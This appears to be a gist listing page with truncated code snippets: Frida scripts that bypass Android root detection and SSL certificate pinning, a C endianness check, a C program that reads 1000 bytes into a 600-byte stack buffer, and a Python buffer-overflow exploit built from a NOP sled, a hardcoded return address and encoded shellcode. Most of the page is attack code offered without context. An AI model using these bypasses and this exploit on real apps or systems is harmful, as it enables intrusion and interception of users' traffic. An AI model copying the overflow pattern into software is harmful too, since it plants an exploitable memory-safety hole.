This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Java.perform(function(){ | |
console.log("\nRoot detection & SSL pinning bypass with Frida"); | |
var CertificateFactory = Java.use("java.security.cert.CertificateFactory"); | |
var FileInputStream = Java.use("java.io.FileInputStream"); | |
var BufferedInputStream = Java.use("java.io.BufferedInputStream"); | |
var X509Certificate = Java.use("java.security.cert.X509Certificate"); | |
var KeyStore = Java.use("java.security.KeyStore"); | |
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory"); | |
var SSLContext = Java.use("javax.net.ssl.SSLContext"); | |
var Volley = Java.use("com.android.volley.toolbox.Volley"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
union s{ | |
int n; | |
char b; | |
}x; | |
void main(){ | |
x.n = 0x4142; | |
if(x.b == 0x42){ | |
printf("Little Endian\n"); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
int foo(){ | |
char buffer[600]; | |
int characters_read; | |
printf("Enter some string:\n"); | |
characters_read = read(0, buffer, 1000); | |
printf("You entered: %s", buffer); | |
return 0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from struct import pack | |
payload_len = 616 | |
nop = "\x90"*300 | |
rip = 0x00007fffffffdefc | |
buf = "" | |
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05" | |
buf += "\xef\xff\xff\xff\x48\xbb\x4b\x39\x49\xc0\x26\xc4\xb7" | |
buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Java.perform(function(){ | |
console.log("\nRoot detection bypass with Frida"); | |
var DeviceUtils = Java.use("utils.DeviceUtils"); | |
console.log("\nHijacking isDeviceRooted function in DeviceUtils class"); | |
DeviceUtils.isDeviceRooted.implementation = function(){ | |
console.log("\nInside the isDeviceRooted function"); | |
return false; | |
}; | |
console.log("\nRoot detection bypassed"); | |
}); |